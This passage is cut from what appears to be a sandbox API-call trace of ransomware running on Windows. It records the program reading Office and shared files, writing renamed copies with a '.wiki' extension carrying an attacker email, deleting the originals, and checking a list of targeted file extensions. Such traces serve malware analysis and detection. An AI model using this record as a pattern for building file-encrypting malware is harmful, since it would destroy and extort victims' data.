lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0046.042] GetLastError () returned 0x0 [0046.043] ReadFile (in: hFile=0x19c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x412b, lpOverlapped=0x0) returned 1 [0046.044] WriteFile (in: hFile=0x1b4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0046.045] ReadFile (in: hFile=0x19c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.045] WriteFile (in: hFile=0x1b4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.045] SetEndOfFile (hFile=0x1b4) returned 1 [0046.046] CloseHandle (hObject=0x1b4) returned 1 [0046.046] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.046] SetEndOfFile (hFile=0x19c) returned 1 [0046.047] CloseHandle (hObject=0x19c) returned 1 [0046.047] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.048] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.048] lstrlenW (lpString=".doc") returned 4 [0046.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.048] lstrlenW (lpString=".docx") returned 5 [0046.048] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.048] lstrlenW (lpString=".pdf") returned 4 [0046.048] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.048] lstrlenW (lpString=".xls") returned 4 [0046.048] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.048] lstrlenW (lpString=".xlsx") returned 5 [0046.048] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.048] lstrlenW (lpString=".ppt") returned 4 [0046.048] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.048] lstrlenW (lpString=".zip") returned 4 [0046.048] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.048] lstrlenW (lpString=".rar") returned 4 [0046.048] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.048] lstrlenW (lpString=".bz2") returned 4 [0046.048] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.048] lstrlenW (lpString=".7z") returned 3 [0046.048] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.048] lstrlenW (lpString=".dbf") returned 4 [0046.048] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.049] lstrlenW (lpString=".1cd") returned 4 [0046.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.049] lstrlenW (lpString=".jpg") returned 4 [0046.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.049] lstrlenW (lpString=".doc") returned 4 [0046.049] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString=".docx") returned 5 [0046.049] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.049] lstrlenW (lpString=".pdf") returned 4 [0046.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString=".xls") returned 4 [0046.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString=".xlsx") returned 5 [0046.049] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.049] lstrlenW (lpString=".ppt") returned 4 [0046.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.049] lstrlenW (lpString=".zip") returned 4 [0046.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.049] lstrlenW (lpString=".rar") returned 4 [0046.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString=".bz2") returned 4 [0046.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString=".7z") returned 3 [0046.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.049] lstrlenW (lpString=".dbf") returned 4 [0046.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.049] lstrlenW (lpString=".1cd") returned 4 [0046.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.050] lstrlenW (lpString=".jpg") returned 4 [0046.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.050] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.050] lstrlenW (lpString="Office32WW.xml") returned 14 [0046.050] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.051] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4274) returned 1 [0046.051] CloseHandle (hObject=0x19c) returned 1 [0046.051] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0046.051] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.051] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.051] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0046.051] GetLastError () returned 0x0 [0046.051] ReadFile (in: hFile=0x19c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0046.458] WriteFile (in: hFile=0x1b4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0046.459] ReadFile (in: hFile=0x19c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.459] WriteFile (in: hFile=0x1b4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.459] SetEndOfFile (hFile=0x1b4) returned 1 [0046.460] CloseHandle (hObject=0x1b4) returned 1 [0046.460] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.460] SetEndOfFile (hFile=0x19c) returned 1 [0046.461] CloseHandle (hObject=0x19c) returned 1 [0046.461] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.461] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0046.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.462] lstrlenW (lpString=".doc") returned 4 [0046.462] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.462] lstrlenW (lpString=".docx") returned 5 [0046.462] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.462] lstrlenW (lpString=".pdf") returned 4 [0046.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.462] lstrlenW (lpString=".xls") returned 4 [0046.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.462] lstrlenW (lpString=".xlsx") returned 5 [0046.462] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.462] lstrlenW (lpString=".ppt") returned 4 [0046.462] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.462] lstrlenW (lpString=".zip") returned 4 [0046.462] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.462] lstrlenW (lpString=".rar") returned 4 [0046.462] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.462] lstrlenW (lpString=".bz2") returned 4 [0046.462] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.462] lstrlenW (lpString=".7z") returned 3 [0046.462] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.462] lstrlenW (lpString=".dbf") returned 4 [0046.462] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.462] lstrlenW (lpString=".1cd") returned 4 [0046.462] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.462] lstrlenW (lpString=".jpg") returned 4 [0046.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.463] lstrlenW (lpString=".doc") returned 4 [0046.463] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString=".docx") returned 5 [0046.463] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.463] lstrlenW (lpString=".pdf") returned 4 [0046.463] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString=".xls") returned 4 [0046.463] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString=".xlsx") returned 5 [0046.463] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.463] lstrlenW (lpString=".ppt") returned 4 [0046.463] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.463] lstrlenW (lpString=".zip") returned 4 [0046.463] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.463] lstrlenW (lpString=".rar") returned 4 [0046.463] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString=".bz2") returned 4 [0046.463] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString=".7z") returned 3 [0046.463] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.463] lstrlenW (lpString=".dbf") returned 4 [0046.463] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.463] lstrlenW (lpString=".1cd") returned 4 [0046.463] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.463] lstrlenW (lpString=".jpg") returned 4 [0046.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.464] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.464] lstrlenW (lpString="Alphabet.xml") returned 12 [0046.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.561] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=791686) returned 1 [0046.561] CloseHandle (hObject=0x198) returned 1 [0046.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0046.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.561] lstrlenW (lpString=".doc") returned 4 [0046.561] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.561] lstrlenW (lpString=".docx") returned 5 [0046.561] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0046.561] lstrlenW (lpString=".pdf") returned 4 [0046.561] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.561] lstrlenW (lpString=".xls") returned 4 [0046.561] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.561] lstrlenW (lpString=".xlsx") returned 5 [0046.561] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0046.561] lstrlenW (lpString=".ppt") returned 4 [0046.561] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.561] lstrlenW (lpString=".zip") returned 4 [0046.561] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.561] lstrlenW (lpString=".rar") returned 4 [0046.561] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString=".bz2") returned 4 [0046.562] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString=".7z") returned 3 [0046.562] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.562] lstrlenW (lpString=".dbf") returned 4 [0046.562] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.562] lstrlenW (lpString=".1cd") returned 4 [0046.562] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.562] lstrlenW (lpString=".jpg") returned 4 [0046.562] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.562] lstrlenW (lpString=".doc") returned 4 [0046.562] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString=".docx") returned 5 [0046.562] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0046.562] lstrlenW (lpString=".pdf") returned 4 [0046.562] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString=".xls") returned 4 [0046.562] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString=".xlsx") returned 5 [0046.562] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0046.562] lstrlenW (lpString=".ppt") returned 4 [0046.562] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.562] lstrlenW (lpString=".zip") returned 4 [0046.562] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.562] lstrlenW (lpString=".rar") returned 4 [0046.562] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString=".bz2") returned 4 [0046.562] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.562] lstrlenW (lpString=".7z") returned 3 [0046.562] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.563] lstrlenW (lpString=".dbf") returned 4 [0046.563] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.563] lstrlenW (lpString=".1cd") returned 4 [0046.563] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0046.563] lstrlenW (lpString=".jpg") returned 4 [0046.563] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.563] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.563] lstrlenW (lpString="boxed-join.avi") returned 14 [0046.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.578] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=33280) returned 1 [0046.578] CloseHandle (hObject=0x1bc) returned 1 [0046.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0046.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.578] lstrlenW (lpString=".doc") returned 4 [0046.578] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.578] lstrlenW (lpString=".docx") returned 5 [0046.578] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0046.578] lstrlenW (lpString=".pdf") returned 4 [0046.578] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.578] lstrlenW (lpString=".xls") returned 4 [0046.578] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.578] lstrlenW (lpString=".xlsx") returned 5 [0046.578] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0046.578] lstrlenW (lpString=".ppt") returned 4 [0046.578] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.579] lstrlenW (lpString=".zip") returned 4 [0046.579] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString=".rar") returned 4 [0046.579] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString=".bz2") returned 4 [0046.579] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString=".7z") returned 3 [0046.579] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.579] lstrlenW (lpString=".dbf") returned 4 [0046.579] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.579] lstrlenW (lpString=".1cd") returned 4 [0046.579] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.579] lstrlenW (lpString=".jpg") returned 4 [0046.579] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.579] lstrlenW (lpString=".doc") returned 4 [0046.579] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString=".docx") returned 5 [0046.579] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0046.579] lstrlenW (lpString=".pdf") returned 4 [0046.579] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString=".xls") returned 4 [0046.579] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString=".xlsx") returned 5 [0046.579] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0046.579] lstrlenW (lpString=".ppt") returned 4 [0046.579] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.579] lstrlenW (lpString=".zip") returned 4 [0046.579] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.580] lstrlenW (lpString=".rar") returned 4 [0046.580] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.580] lstrlenW (lpString=".bz2") returned 4 [0046.580] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.580] lstrlenW (lpString=".7z") returned 3 [0046.580] lstrcmpiW (lpString1=".7z", 